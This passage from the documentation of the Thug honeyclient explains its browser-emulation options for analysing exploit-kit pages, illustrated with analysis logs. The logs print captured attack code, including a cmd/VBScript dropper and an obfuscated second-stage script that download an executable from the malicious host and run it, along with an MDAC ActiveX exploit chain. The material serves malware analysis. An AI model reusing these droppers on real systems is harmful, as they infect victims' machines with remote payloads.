-rw-r--r-- 1 buffer buffer 15K Jul  2 19:15 3660fe0e4acd23ac13f3d043eebd2bbc

./application/x-msdownload:
total 92K
-rw-r--r-- 1 buffer buffer 89K Jul  2 19:15 d328b5a123bce1c0d20d763ad745303a

./application/x-shockwave-flash:
total 4.0K
-rw-r--r-- 1 buffer buffer 1008 Jul  2 19:15 502da89357ca5d7c85dc7a67f8977b21

./text:
total 0
drwxr-xr-x 2 buffer buffer 144 Jul  2 19:15 html

```

(continues on next page)

(continued from previous page)

```
./text/html:
total 72K
-rw-r--r-- 1 buffer buffer 68K Jul  2 19:15 95ee609e6e3b69c2d9e68f34ff4a4335
-rw-r--r-- 1 buffer buffer 878 Jul  2 19:15 d26b9b1a1f667004945d1d000cf4f19e
```

If the MAEC 1.1 logging mode is enabled, the file *analysis.xml* contains the URL analysis results saved in MAEC 1.1 format (please refer to <http://maec.mitre.org> for additional details). MAEC 1.1 logging is no longer supported from Thug 0.9.44 onwards.

Please notice that all the files downloaded during the URL analysis are saved in this directory based on their Content-Type for convenience (if the File logging mode is enabled).

Moreover if MongoDB is installed the information you can see in this directory are saved in the database instance too. Let's take a deeper look using pymongo (you can get the same result by using the MongoDB client *mongo*).

```
~/thug/src $ python
Python 2.7.3 (default, Jun 12 2012, 10:22:50)
[GCC 4.5.3] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import pymongo
>>> connection = pymongo.Connection()
>>> db = connection.thug
>>> url = db.urls.find_one({'url' : 'http://[omitted]/main.php?page=8c6c59becaa0da07'})
↪
>>> url
{'url': u'http://[omitted]/main.php?page=8c6c59becaa0da07', u'_id': ObjectId(
↪ '4ff1b8efe732795951000000')}
>>> for sample in db.samples.find({'url_id': url['_id']}):
...     print sample
...

{'_id': ObjectId('4ff1b8f4e732795951000001'), u'url': u'http://[omitted]/Ryp.jar', u
↪ 'type': u'JAR', u'sha1': u'5fffd5cc4a372a6c2a826a850a955cb6a4042272', u'url_id':
↪ ObjectId('4ff1b8efe732795951000000'), u'data': u'[skipped]', u'md5': u
↪ 'e3639fde6ddf7fd0182fff9757143ff2'}
{'_id': ObjectId('4ff1b8f7e732795951000002'), u'url': u'http://[omitted]/w.php?
↪ f=b081d&e=2', u'type': u'PE', u'sha1': u'1445e7d338d0d7c20f1d2329f4d653cce1562cc8',
↪ u'url_id': ObjectId('4ff1b8efe732795951000000'), u'data': u'[skipped]', u'md5': u
↪ 'd328b5a123bce1c0d20d763ad745303a'}
[... ]
>>> for event in db.events.find({'url_id': url['_id']}):
...     print event
...

{'MAEC': u'<MAEC_Bundle xmlns:ns1="http://xml/metadataSharing.xsd" xmlns="http://
↪ maec.mitre.org/XMLSchema/maec-core-1" xmlns:xsi="http://www.w3.org/2001/XMLSchema-
↪ instance" xsi:schemaLocation="http://maec.mitre.org/XMLSchema/maec-core-1 file:MAEC_
↪ v1.1.xsd" id="maec:thug:bnd:1" schema_version="1.100000">
```

## 5.2 Browser personality

If no additional option (other than the URL) is provided the emulated browser personality is Internet Explorer 6.0 on Windows XP platform. This choice is usually quite interesting for the really simple reason a lot of exploit kits out there try to exploit a vulnerability in Microsoft Data Access Components (MDAC) which allows remote code

execution if facing such personality. Thug emulates perfectly this exploit thus allowing to quite easily download a malicious executable for later analysis.

If there's the need to test the content that would be served while using a different browser personality the `-u` (`-user-agent`) option should be used. In the following example, the option `-u winxpie80` is used in order to test the content served when surfing the same page with Internet Explorer 8.0 on Windows XP platform.

```
~ $ thug -u winxpie80 "http://[omitted]/main.php?page=8c6c59becaa0da07"
[2012-07-02 19:21:00] [HTTP] URL: http://[omitted]/main.php?page=8c6c59becaa0da07
↳ (Status: 200, Referrer: None)
[2012-07-02 19:21:00] <applet archive="Ryp.jar" code="sIda.sIda"><param name="b"
↳ value=
↳ "56:14:14:19:27:50:50:6:56:47:66:47:33:19:22:48:11:33:49:66:11:14:50:48:49:19:56:19:46:67:24:0:12:
↳ "></param></applet>
[2012-07-02 19:21:00] [Navigator URL Translation] Ryp.jar --> http://[omitted]/Ryp.
↳ jar
[2012-07-02 19:21:02] [HTTP] URL: http://[omitted]/Ryp.jar (Status: 200, Referrer:
↳ http://[omitted]/main.php?page=8c6c59becaa0da07)
[2012-07-02 19:21:03] Saving applet Ryp.jar
[2012-07-02 19:21:03] ActiveXObject: msxml2.xmlhttp
[2012-07-02 19:21:03] ActiveXObject: acropdf.pdf
[2012-07-02 19:21:03] Unknown ActiveX Object: shockwaveflash.shockwaveflash.15
[2012-07-02 19:21:03] Unknown ActiveX Object: shockwaveflash.shockwaveflash.14
[2012-07-02 19:21:03] Unknown ActiveX Object: shockwaveflash.shockwaveflash.13
[2012-07-02 19:21:03] Unknown ActiveX Object: shockwaveflash.shockwaveflash.12
[2012-07-02 19:21:03] Unknown ActiveX Object: shockwaveflash.shockwaveflash.11
[2012-07-02 19:21:03] ActiveXObject: shockwaveflash.shockwaveflash.10
[2012-07-02 19:21:03] [Navigator URL Translation] ./data/ap1.php?f=b081d --> http://
↳ [omitted]/data/ap1.php?f=b081d
[2012-07-02 19:21:05] [HTTP] URL: http://[omitted]/data/ap1.php?f=b081d (Status: 200,
↳ Referrer: http://[omitted]/main.php?page=8c6c59becaa0da07)
[2012-07-02 19:21:05] Microsoft Internet Explorer HCP Scheme Detected
[2012-07-02 19:21:05] Microsoft Windows Help Center Malformed Escape Sequences
↳ Incorrect Handling
[2012-07-02 19:21:05] [AST]: Eval argument length > 64
[2012-07-02 19:21:05] [Windows Script Host Run] Command:
cmd /c echo B="l.vbs":With CreateObject("MSXML2.XMLHTTP").open "GET","http://
↳ [omitted]/data/hcp_vbs.php?f=b081d&d=0",false:.send():Set A = CreateObject(
↳ "Scripting.FileSystemObject"):Set D=A.CreateTextFile(A.GetSpecialFolder(2) + "\" +
↳ B):D.WriteLine .responseText:End With:D.Close:CreateObject("WScript.Shell").Run A.
↳ GetSpecialFolder(2) + "\" + B > %TEMP%\l.vbs && %TEMP%\l.vbs && taskkill /F /IM
↳ helpctr.exe

[2012-07-02 19:21:05] [Windows Script Host Run - Stage 1] Code:
cmd /c echo B="l.vbs":With CreateObject("MSXML2.XMLHTTP").open "GET","http://
↳ [omitted]/data/hcp_vbs.php?f=b081d&d=0",false:.send():Set A = CreateObject(
↳ "Scripting.FileSystemObject"):Set D=A.CreateTextFile(A.GetSpecialFolder(2) + "\" +
↳ B):D.WriteLine .responseText:End With:D.Close:CreateObject("WScript.Shell").Run A.
↳ GetSpecialFolder(2) + "\" + B > %TEMP%\l.vbs && %TEMP%\l.vbs && taskkill /F /IM
↳ helpctr.exe

[2012-07-02 19:21:05] [Windows Script Host Run - Stage 1] Downloading from URL http://
↳ [omitted]/data/hcp_vbs.php?f=b081d&d=0
[2012-07-02 19:21:06] [HTTP] URL: http://[omitted]/data/hcp_vbs.php?f=b081d&d=0
↳ (Status: 200, Referrer: http://[omitted]/main.php?page=8c6c59becaa0da07)
[2012-07-02 19:21:06] [Windows Script Host Run - Stage 1] Saving file
↳ d26b9b1a1f667004945d1d000cf4f19e
[2012-07-02 19:21:06] [Windows Script Host Run - Stage 2] Code:
w=3000:x=200:y=1:z=false:a = "http://[omitted]/w.php?e=5&f=b081d":Set e =
↳ CreateObject(StrReverse("tcejbOmetSySeliF.gnitpireS")):Set f=e.
↳ GetSpecialFolder(2):b = f & ".exe.ex2":b=Replace(b,Month("2010-02-16"),"e"):OT =
↳ "GET":Set c = CreateObject(StrReverse("PTTHLMX.2LMXSM")):Set d =
↳ CreateObject(StrReverse("ertS.BDODA") & ".am")
```





(continued from previous page)

```

[2012-07-02 19:21:11] <param name="movie" value="data/field.swf"></param>
[2012-07-02 19:21:11] [Navigator URL Translation] data/field.swf --> http://
↳[omitted]/data/field.swf
[2012-07-02 19:21:17] [HTTP] URL: http://[omitted]/data/field.swf (Status: 200,
↳Referrer: http://[omitted]/main.php?page=8c6c59becaa0da07)
[2012-07-02 19:21:17] Saving remote content at data/field.swf (MD5:
↳502da89357ca5d7c85dc7a67f8977b21)
[2012-07-02 19:21:17] <param name="allowScriptAccess" value="always"></param>
[2012-07-02 19:21:17] <param name="Play" value="0"></param>
[2012-07-02 19:21:17] <embed allowscriptaccess="always" height="10" id="swf_id" name=
↳"swf_id" src="data/field.swf" type="application/x-shockwave-flash" width="10"></
↳embed>
[2012-07-02 19:21:17] [Navigator URL Translation] data/field.swf --> http://
↳[omitted]/data/field.swf
[2012-07-02 19:21:18] [HTTP] URL: http://[omitted]/data/field.swf (Status: 200,
↳Referrer: http://[omitted]/main.php?page=8c6c59becaa0da07)
[2012-07-02 19:21:18] Saving remote content at data/field.swf (MD5:
↳502da89357ca5d7c85dc7a67f8977b21)

```

It's quite simple to realize that the exploit for the Microsoft Data Access Components (MDAC) vulnerability is not served in this case.

## 5.3 DOM Events Handling

A useful option is the `-e` (`--events`) option which allows you to specify which DOM events should be handled by Thug. By default `load` and `mousemove` events are always handled but you can add other ones with this option. Using this option is quite simple. All you need to do is to specify a comma-separated list of events to handle as shown below.

```
~ $ thug -e click,mouseover URL
```

In this example, the DOM events `load`, `mousemove`, `click` and `mouseover` will be handled by Thug while all the other ones will be ignored.

## 5.4 Adobe Acrobat Reader

Taking a look at the available options you can see the `-A` (`--adobepdf`) option which is quite useful for getting different PDF exploits which target different version of Adobe Acrobat Reader. This happens because exploit kits usually serve PDF files which exploit specific vulnerabilities basing on the Adobe Acrobat Reader version. Let's take a look at what happens if we try to analyze the same page with Adobe Acrobat Reader 8.1.0 instead of 9.1.0 (which is the default one).

```

~ $ thug -A 8.1.0 "http://[omitted]/main.php?page=8c6c59becaa0da07"
[2012-07-02 19:18:00] [HTTP] URL: http://[omitted]/main.php?page=8c6c59becaa0da07
↳(Status: 200, Referrer: None)
[2012-07-02 19:18:00] <applet archive="Ryp.jar" code="sIda.sIda"><param name="b"
↳value=
↳"56:14:14:19:27:50:50:6:56:47:66:47:33:19:22:48:11:33:49:66:11:14:50:48:49:19:56:19:46:67:24:0:12:
↳"></param></applet>
[2012-07-02 19:18:00] [Navigator URL Translation] Ryp.jar --> http://[omitted]/Ryp.
↳jar
[2012-07-02 19:18:03] [HTTP] URL: http://[omitted]/Ryp.jar (Status: 200, Referrer:
↳http://[omitted]/main.php?page=8c6c59becaa0da07)

```

(continues on next page)

(continued from previous page)

```

[2012-07-02 19:18:03] Saving applet Ryp.jar
[2012-07-02 19:18:04] ActiveXObject: msxml2.xmlhttp
[2012-07-02 19:18:04] ActiveXObject: acropdf.pdf
[2012-07-02 19:18:04] Unknown ActiveX Object: shockwaveflash.shockwaveflash.15
[2012-07-02 19:18:04] Unknown ActiveX Object: shockwaveflash.shockwaveflash.14
[2012-07-02 19:18:04] Unknown ActiveX Object: shockwaveflash.shockwaveflash.13
[2012-07-02 19:18:04] Unknown ActiveX Object: shockwaveflash.shockwaveflash.12
[2012-07-02 19:18:04] Unknown ActiveX Object: shockwaveflash.shockwaveflash.11
[2012-07-02 19:18:04] ActiveXObject: shockwaveflash.shockwaveflash.10
[2012-07-02 19:18:04] [Microsoft MDAC RDS.Dataspace ActiveX] CreateObject (adodb.
↳stream)
[2012-07-02 19:18:04] ActiveXObject: adodb.stream
[2012-07-02 19:18:04] [Microsoft MDAC RDS.Dataspace ActiveX] CreateObject (Shell.
↳Application)
[2012-07-02 19:18:04] ActiveXObject: shell.application
[2012-07-02 19:18:04] [Microsoft MDAC RDS.Dataspace ActiveX] CreateObject (msxml2.
↳XMLHTTP)
[2012-07-02 19:18:04] ActiveXObject: msxml2.xmlhttp
[2012-07-02 19:18:04] [Microsoft XMLHTTP ActiveX] Fetching from URL http://[omitted]/
↳w.php?f=b081d&e=2
[2012-07-02 19:18:07] [HTTP] URL: http://[omitted]/w.php?f=b081d&e=2 (Status: 200,
↳
↳Referrer: http://[omitted]/main.php?page=8c6c59becaa0da07)
[2012-07-02 19:18:08] [Microsoft XMLHTTP ActiveX] Saving File:
↳
↳d328b5a123bce1c0d20d763ad745303a
[2012-07-02 19:18:08] [Microsoft XMLHTTP ActiveX] send
[2012-07-02 19:18:08] [Adodb.Stream ActiveX] open
[2012-07-02 19:18:08] [Adodb.Stream ActiveX] Write
[2012-07-02 19:18:08] [Adodb.Stream ActiveX] SaveToFile (./../3c9f737.exe)
[2012-07-02 19:18:08] [Adodb.Stream ActiveX] Close
[2012-07-02 19:18:08] [Shell.Application ActiveX] ShellExecute command: ./../
↳
↳3c9f737.exe
[2012-07-02 19:18:08] [Navigator URL Translation] ./data/ap2.php --> http://
↳
↳[omitted]/data/ap2.php
[2012-07-02 19:18:14] [HTTP] URL: http://[omitted]/data/ap2.php (Status: 200,
↳
↳Referrer: http://[omitted]/main.php?page=8c6c59becaa0da07)
[2012-07-02 19:18:15] Microsoft Internet Explorer HCP Scheme Detected
[2012-07-02 19:18:15] Microsoft Windows Help Center Malformed Escape Sequences
↳
↳Incorrect Handling
[2012-07-02 19:18:15] [AST]: Eval argument length > 64
[2012-07-02 19:18:15] [Windows Script Host Run] Command:
cmd /c echo B="1.vbs":With CreateObject("MSXML2.XMLHTTP"):open "GET","http://
↳
↳[omitted]/data/hcp_vbs.php?f=b081d&d=0",false:.send():Set A = CreateObject(
↳
↳"Scripting.FileSystemObject"):Set D=A.CreateTextFile(A.GetSpecialFolder(2) + "\" +
↳
↳B):D.WriteLine .responseText:End With:D.Close:CreateObject("WScript.Shell").Run A.
↳
↳GetSpecialFolder(2) + "\" + B > %TEMP%\1.vbs && %TEMP%\1.vbs && taskkill /F /IM
↳
↳helpctr.exe

[2012-07-02 19:18:15] [Windows Script Host Run - Stage 1] Code:
cmd /c echo B="1.vbs":With CreateObject("MSXML2.XMLHTTP"):open "GET","http://
↳
↳[omitted]/data/hcp_vbs.php?f=b081d&d=0",false:.send():Set A = CreateObject(
↳
↳"Scripting.FileSystemObject"):Set D=A.CreateTextFile(A.GetSpecialFolder(2) + "\" +
↳
↳B):D.WriteLine .responseText:End With:D.Close:CreateObject("WScript.Shell").Run A.
↳
↳GetSpecialFolder(2) + "\" + B > %TEMP%\1.vbs && %TEMP%\1.vbs && taskkill /F /IM
↳
↳helpctr.exe
[2012-07-02 19:18:15] [Windows Script Host Run - Stage 1] Downloading from URL http://
↳
↳[omitted]/data/hcp_vbs.php?f=b081d&d=0
[2012-07-02 19:18:16] [HTTP] URL: http://[omitted]/data/hcp_vbs.php?f=b081d&d=0
↳
↳(Status: 200, Referrer: http://[omitted]/main.php?page=8c6c59becaa0da07)

```

(continued from previous page)

```

[2012-07-02 19:18:16] [Windows Script Host Run - Stage 1] Saving file
↳d26b9b1a1f667004945d1d000cf4f19e
[2012-07-02 19:18:16] [Windows Script Host Run - Stage 2] Code:
w=3000:x=200:y=1:z=false:a = "http://[omitted]/w.php?e=5&f=b081d":Set e =
↳CreateObject(StrReverse("tcejbOmetsySeliF.gnitpircS")):Set f=e.
↳GetSpecialFolder(2):b = f & "\exe.exe2":b=Replace(b,Month("2010-02-16"),"e"):OT =
↳"GET":Set c = CreateObject(StrReverse("PTTHLMX.2LMXSM")):Set d =
↳CreateObject(StrReverse("erts.BDODA") & "am")
Set o=CreateObject(StrReverse("tcejbOmetsySeliF.gnitpircS"))
On Error resume next
c.open OT, a, z:c.send()
If c.Status = x Then
d.Open:d.Type = y:d.Write c.ResponseBody:d.SaveToFile b:d.Close
End If
Set w=CreateObject(StrReverse("llehS." & "tpi"&"rcSW"))
Eval(Replace("W.exe2c b", Month("2010-02-16"), "E"))
W.exeC "taskkill /F /IM wm" & "player.e" & "xe":W.exeC "taskkill /F /IM realplay.ex" &
↳ "e":Set g=o.GetFile(e.GetSpecialFolder(3-1) & "\" & StrReverse("bv.1") & "s"):g.
↳Delete:WScript.Sleep w:Set g=o.GetFile(b):Eval("g.Delete")

[2012-07-02 19:18:16] [Windows Script Host Run - Stage 2] Downloading from URL http://
↳[omitted]/w.php?e=5&f=b081d
[2012-07-02 19:18:20] [HTTP] URL: http://[omitted]/w.php?e=5&f=b081d (Status: 200,
↳Referrer: http://[omitted]/main.php?page=8c6c59becaa0da07)
[2012-07-02 19:18:22] [Windows Script Host Run - Stage 2] Saving file
↳d328b5a123bcelc0d20d763ad745303a
[2012-07-02 19:18:22] <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"
↳height="10" id="swf_id" width="10"><param name="movie" value="data/field.swf"></
↳param><param name="allowScriptAccess" value="always"></param><param name="Play"
↳value="0"></param><embed allowscriptaccess="always" height="10" id="swf_id" name=
↳"swf_id" src="data/field.swf" type="application/x-shockwave-flash" width="10"></
↳embed></object>
[2012-07-02 19:18:22] <param name="b" value=
↳"56:14:14:19:27:50:50:6:56:47:66:47:33:19:22:48:11:33:49:66:11:14:50:48:49:19:56:19:46:67:24:0:12:
↳"></param>
[2012-07-02 19:18:22] <param name="movie" value="data/field.swf"></param>
[2012-07-02 19:18:22] [Navigator URL Translation] data/field.swf --> http://
↳[omitted]/data/field.swf
[2012-07-02 19:18:27] [HTTP] URL: http://[omitted]/data/field.swf (Status: 200,
↳Referrer: http://[omitted]/main.php?page=8c6c59becaa0da07)
[2012-07-02 19:18:28] Saving remote content at data/field.swf (MD5:
↳502da89357ca5d7c85dc7a67f8977b21)
[2012-07-02 19:18:28] <param name="allowScriptAccess" value="always"></param>
[2012-07-02 19:18:28] <param name="Play" value="0"></param>
[2012-07-02 19:18:28] <embed allowscriptaccess="always" height="10" id="swf_id" name=
↳"swf_id" src="data/field.swf" type="application/x-shockwave-flash" width="10"></
↳embed>
[2012-07-02 19:18:28] [Navigator URL Translation] data/field.swf --> http://
↳[omitted]/data/field.swf
[2012-07-02 19:18:28] [HTTP] URL: http://[omitted]/data/field.swf (Status: 200,
↳Referrer: http://[omitted]/main.php?page=8c6c59becaa0da07)
[2012-07-02 19:18:29] Saving remote content at data/field.swf (MD5:
↳502da89357ca5d7c85dc7a67f8977b21)

```

Comparing the following line

```
[2012-07-02 19:18:14] [HTTP] URL: http://[omitted]/data/ap2.php (Status: 200, 
↪Referrer: http://[omitted]/main.php?page=8c6c59becaa0da07)
```

with what we got using Adobe Acrobat Reader 9.1.0

```
[2012-07-02 19:15:36] [HTTP] URL: http://[omitted]/data/ap1.php?f=b081d (Status: 200, 
↪Referrer: http://[omitted]/main.php?page=8c6c59becaa0da07)
```

it's easy to realize that a different malicious PDF file was served in this case.

## 5.5 Shockwave Flash

Taking a look at the available options you can see the `-S` (`--shockwave`) option which is quite useful for getting different Flash exploits which target different versions of Shockwave Flash. This happens because exploit kits usually serve Flash files which exploit specific vulnerabilities basing on Shockwave Flash version. Let's take a look at what happens if we locally analyze PluginDetect (see Local Analysis later for details).

```
~/thug/src ~ $ thug -l ../samples/misc/PluginDetect-0.7.8.html
[2012-11-15 17:32:26] ActiveXObject: msxml2.xmlhttp
[2012-11-15 17:32:26] ActiveXObject: acropdf.pdf
[2012-11-15 17:32:26] Unknown ActiveX Object: shockwaveflash.shockwaveflash.15
[2012-11-15 17:32:26] Unknown ActiveX Object: shockwaveflash.shockwaveflash.14
[2012-11-15 17:32:26] Unknown ActiveX Object: shockwaveflash.shockwaveflash.13
[2012-11-15 17:32:26] Unknown ActiveX Object: shockwaveflash.shockwaveflash.12
[2012-11-15 17:32:26] Unknown ActiveX Object: shockwaveflash.shockwaveflash.11
[2012-11-15 17:32:26] ActiveXObject: shockwaveflash.shockwaveflash.10
[2012-11-15 17:32:26] <object classid="clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFEDCBA" 
↪height="1" style="outline-style:none;border-style:none;padding:0px;margin:0px;
↪visibility:visible;display:inline;" width="1"></object>
[2012-11-15 17:32:26] <object classid="clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFEDCBA" 
↪height="1" style="outline-style:none;border-style:none;padding:0px;margin:0px;
↪visibility:visible;display:inline;" width="1"></object>
[2012-11-15 17:32:26] Unknown ActiveX Object: javawebstart.isinstalled.1.9.1.0
[2012-11-15 17:32:26] Unknown ActiveX Object: javawebstart.isinstalled.1.9.0.0
[2012-11-15 17:32:26] Unknown ActiveX Object: javawebstart.isinstalled.1.8.1.0
[2012-11-15 17:32:26] Unknown ActiveX Object: javawebstart.isinstalled.1.8.0.0
[2012-11-15 17:32:26] Unknown ActiveX Object: javawebstart.isinstalled.1.7.1.0
[2012-11-15 17:32:26] Unknown ActiveX Object: javawebstart.isinstalled.1.7.0.0
[2012-11-15 17:32:26] ActiveXObject: javawebstart.isinstalled.1.6.0.0
[2012-11-15 17:32:26] Unknown ActiveX Object: javaplugin.160_40
[2012-11-15 17:32:26] Unknown ActiveX Object: javaplugin.160_39
[2012-11-15 17:32:26] Unknown ActiveX Object: javaplugin.160_38
[2012-11-15 17:32:26] Unknown ActiveX Object: javaplugin.160_37
[2012-11-15 17:32:26] Unknown ActiveX Object: javaplugin.160_36
[2012-11-15 17:32:26] Unknown ActiveX Object: javaplugin.160_35
[2012-11-15 17:32:26] Unknown ActiveX Object: javaplugin.160_34
[2012-11-15 17:32:26] Unknown ActiveX Object: javaplugin.160_33
[2012-11-15 17:32:26] ActiveXObject: javaplugin.160_32
[2012-11-15 17:32:26] ActiveXObject: javawebstart.isinstalled.1.6.0.0
[2012-11-15 17:32:26] [Window] Alert Text: AdobeReader version: 9,1,0,0
[2012-11-15 17:32:26] [Window] Alert Text: Flash version: 10,0,64,0
[2012-11-15 17:32:26] [Window] Alert Text: Java version: 1,6,0,32
```

Let's try with different Adobe Acrobat Reader and Shockwave Flash versions now.

```
~/thug/src ~ $ thug -l -A 8.1.0 -S 10.3.1.180 ../samples/misc/PluginDetect-0.7.8.html
[2012-11-15 17:32:58] ActiveXObject: msxml2.xmlhttp
[2012-11-15 17:32:58] ActiveXObject: acropdf.pdf
[2012-11-15 17:32:58] Unknown ActiveX Object: shockwaveflash.shockwaveflash.15
[2012-11-15 17:32:58] Unknown ActiveX Object: shockwaveflash.shockwaveflash.14
[2012-11-15 17:32:58] Unknown ActiveX Object: shockwaveflash.shockwaveflash.13
[2012-11-15 17:32:58] Unknown ActiveX Object: shockwaveflash.shockwaveflash.12
[2012-11-15 17:32:58] Unknown ActiveX Object: shockwaveflash.shockwaveflash.11
[2012-11-15 17:32:58] ActiveXObject: shockwaveflash.shockwaveflash.10
[2012-11-15 17:32:58] <object classid="clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA"
↪height="1" style="outline-style:none;border-style:none;padding:0px;margin:0px;
↪visibility:visible;display:inline;" width="1"></object>
[2012-11-15 17:32:58] <object classid="clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"
↪height="1" style="outline-style:none;border-style:none;padding:0px;margin:0px;
↪visibility:visible;display:inline;" width="1"></object>
[2012-11-15 17:32:58] Unknown ActiveX Object: javawebstart.isinstalled.1.9.1.0
[2012-11-15 17:32:58] Unknown ActiveX Object: javawebstart.isinstalled.1.9.0.0
[2012-11-15 17:32:58] Unknown ActiveX Object: javawebstart.isinstalled.1.8.1.0
[2012-11-15 17:32:58] Unknown ActiveX Object: javawebstart.isinstalled.1.8.0.0
[2012-11-15 17:32:58] Unknown ActiveX Object: javawebstart.isinstalled.1.7.1.0
[2012-11-15 17:32:58] Unknown ActiveX Object: javawebstart.isinstalled.1.7.0.0
[2012-11-15 17:32:58] ActiveXObject: javawebstart.isinstalled.1.6.0.0
[2012-11-15 17:32:58] Unknown ActiveX Object: javaplugin.160_40
[2012-11-15 17:32:58] Unknown ActiveX Object: javaplugin.160_39
[2012-11-15 17:32:58] Unknown ActiveX Object: javaplugin.160_38
[2012-11-15 17:32:58] Unknown ActiveX Object: javaplugin.160_37
[2012-11-15 17:32:58] Unknown ActiveX Object: javaplugin.160_36
[2012-11-15 17:32:58] Unknown ActiveX Object: javaplugin.160_35
[2012-11-15 17:32:58] Unknown ActiveX Object: javaplugin.160_34
[2012-11-15 17:32:58] Unknown ActiveX Object: javaplugin.160_33
[2012-11-15 17:32:58] ActiveXObject: javaplugin.160_32
[2012-11-15 17:32:58] ActiveXObject: javawebstart.isinstalled.1.6.0.0
[2012-11-15 17:32:58] [Window] Alert Text: AdobeReader version: 8,1,0,0
[2012-11-15 17:32:58] [Window] Alert Text: Flash version: 10,3,1,180
[2012-11-15 17:32:58] [Window] Alert Text: Java version: 1,6,0,32
```

## 5.6 JavaPlugin and JavaWebStart

Taking a look at the available options you can see the `-J` (`-javaplugin`) option which is quite useful for getting different Java exploits which target different versions of Java. Let's take a look at what happens if we locally analyze PluginDetect (see Local Analysis later for details).

```
~/thug/src ~ $ thug -l ../samples/misc/PluginDetect-0.7.8.html
[2012-11-15 17:32:26] ActiveXObject: msxml2.xmlhttp
[2012-11-15 17:32:26] ActiveXObject: acropdf.pdf
[2012-11-15 17:32:26] Unknown ActiveX Object: shockwaveflash.shockwaveflash.15
[2012-11-15 17:32:26] Unknown ActiveX Object: shockwaveflash.shockwaveflash.14
[2012-11-15 17:32:26] Unknown ActiveX Object: shockwaveflash.shockwaveflash.13
[2012-11-15 17:32:26] Unknown ActiveX Object: shockwaveflash.shockwaveflash.12
[2012-11-15 17:32:26] Unknown ActiveX Object: shockwaveflash.shockwaveflash.11
[2012-11-15 17:32:26] ActiveXObject: shockwaveflash.shockwaveflash.10
[2012-11-15 17:32:26] <object classid="clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA"
↪height="1" style="outline-style:none;border-style:none;padding:0px;margin:0px;
↪visibility:visible;display:inline;" width="1"></object>
[2012-11-15 17:32:26] <object classid="clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"
↪height="1" style="outline-style:none;border-style:none;padding:0px;margin:0px;
↪visibility:visible;display:inline;" width="1"></object>
```

(continues on next page)



(continued from previous page)

```

[2012-11-15 17:32:26] Unknown ActiveX Object: javawebstart.isinstalled.1.9.1.0
[2012-11-15 17:32:26] Unknown ActiveX Object: javawebstart.isinstalled.1.9.0.0
[2012-11-15 17:32:26] Unknown ActiveX Object: javawebstart.isinstalled.1.8.1.0
[2012-11-15 17:32:26] Unknown ActiveX Object: javawebstart.isinstalled.1.8.0.0
[2012-11-15 17:32:26] Unknown ActiveX Object: javawebstart.isinstalled.1.7.1.0
[2012-11-15 17:32:26] Unknown ActiveX Object: javawebstart.isinstalled.1.7.0.0
[2012-11-15 17:32:26] ActiveXObject: javawebstart.isinstalled.1.6.0.0
[2012-11-15 17:32:26] Unknown ActiveX Object: javaplugin.160_40
[2012-11-15 17:32:26] Unknown ActiveX Object: javaplugin.160_39
[2012-11-15 17:32:26] Unknown ActiveX Object: javaplugin.160_38
[2012-11-15 17:32:26] Unknown ActiveX Object: javaplugin.160_37
[2012-11-15 17:32:26] Unknown ActiveX Object: javaplugin.160_36
[2012-11-15 17:32:26] Unknown ActiveX Object: javaplugin.160_35
[2012-11-15 17:32:26] Unknown ActiveX Object: javaplugin.160_34
[2012-11-15 17:32:26] Unknown ActiveX Object: javaplugin.160_33
[2012-11-15 17:32:26] ActiveXObject: javaplugin.160_32
[2012-11-15 17:32:26] ActiveXObject: javawebstart.isinstalled.1.6.0.0
[2012-11-15 17:32:26] [Window] Alert Text: AdobeReader version: 9,1,0,0
[2012-11-15 17:32:26] [Window] Alert Text: Flash version: 10,0,64,0
[2012-11-15 17:32:26] [Window] Alert Text: Java version: 1,6,0,32

```

Let's try with a different JavaPlugin version now.

```

~/thug/src ~ $ thug -l -J 1.7.0.7 ../samples/misc/PluginDetect-0.7.8.html
[2012-11-15 17:40:55] ActiveXObject: msxml2.xmlhttp
[2012-11-15 17:40:56] ActiveXObject: acropdf.pdf
[2012-11-15 17:40:56] Unknown ActiveX Object: shockwaveflash.shockwaveflash.15
[2012-11-15 17:40:56] Unknown ActiveX Object: shockwaveflash.shockwaveflash.14
[2012-11-15 17:40:56] Unknown ActiveX Object: shockwaveflash.shockwaveflash.13
[2012-11-15 17:40:56] Unknown ActiveX Object: shockwaveflash.shockwaveflash.12
[2012-11-15 17:40:56] Unknown ActiveX Object: shockwaveflash.shockwaveflash.11
[2012-11-15 17:40:56] ActiveXObject: shockwaveflash.shockwaveflash.10
[2012-11-15 17:40:56] <object classid="clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFEDCBA"
↪height="1" style="outline-style:none;border-style:none;padding:0px;margin:0px;
↪visibility:visible;display:inline;" width="1"></object>
[2012-11-15 17:40:56] <object classid="clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFEDCBA"
↪height="1" style="outline-style:none;border-style:none;padding:0px;margin:0px;
↪visibility:visible;display:inline;" width="1"></object>
[2012-11-15 17:40:56] Unknown ActiveX Object: javawebstart.isinstalled.1.9.1.0
[2012-11-15 17:40:56] Unknown ActiveX Object: javawebstart.isinstalled.1.9.0.0
[2012-11-15 17:40:56] Unknown ActiveX Object: javawebstart.isinstalled.1.8.1.0
[2012-11-15 17:40:56] Unknown ActiveX Object: javawebstart.isinstalled.1.8.0.0
[2012-11-15 17:40:56] Unknown ActiveX Object: javawebstart.isinstalled.1.7.1.0
[2012-11-15 17:40:56] ActiveXObject: javawebstart.isinstalled.1.7.0.0
[2012-11-15 17:40:56] Unknown ActiveX Object: javaplugin.170_40
[2012-11-15 17:40:56] Unknown ActiveX Object: javaplugin.170_39
[2012-11-15 17:40:56] Unknown ActiveX Object: javaplugin.170_38
[2012-11-15 17:40:56] Unknown ActiveX Object: javaplugin.170_37
[2012-11-15 17:40:56] Unknown ActiveX Object: javaplugin.170_36
[2012-11-15 17:40:56] Unknown ActiveX Object: javaplugin.170_35
[2012-11-15 17:40:56] Unknown ActiveX Object: javaplugin.170_34
[2012-11-15 17:40:56] Unknown ActiveX Object: javaplugin.170_33
[2012-11-15 17:40:56] Unknown ActiveX Object: javaplugin.170_32
[2012-11-15 17:40:56] Unknown ActiveX Object: javaplugin.170_31
